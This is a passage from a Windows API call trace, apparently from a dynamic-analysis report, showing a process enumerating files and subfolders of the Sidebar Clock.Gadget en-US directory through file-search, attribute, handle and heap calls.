Size=0x80) returned 0x11fe3d0 [0080.483] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.484] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.484] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.484] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.484] NtClose (Handle=0x124) returned 0x0 [0080.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0080.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0080.485] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0080.485] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.485] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0080.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0080.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4db0 [0080.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e4b8 [0080.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.487] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.487] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4dd0 [0080.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e5c0 [0080.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.488] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.488] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4df0 [0080.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e6c8 [0080.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.489] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.489] GetLastError () returned 0x12 [0080.489] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.489] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.489] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.489] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0080.489] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.490] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.491] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.491] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.491] NtClose (Handle=0x124) returned 0x0 [0080.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0080.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12405b8 [0080.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12406c0 [0080.492] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.492] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.492] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0080.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12407c8 [0080.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0080.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4e10 [0080.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12408d0 [0080.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.493] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4e30 [0080.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12409d8 [0080.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.494] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.495] GetLastError () returned 0x12 [0080.495] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.495] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.495] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.495] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0080.495] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.495] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.495] GetLastError () returned 0x12 [0080.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12406c0) returned 1 [0080.495] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12407c8) returned 1 [0080.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12405b8) returned 1 [0080.495] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.495] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.496] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.496] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.496] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.496] NtClose (Handle=0x168) returned 0x0 [0080.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0080.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12405b8 [0080.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12407c8 [0080.497] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0080.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12406c0 [0080.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0080.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4e50 [0080.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1240ae0 [0080.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.499] FindNextFileW (in: 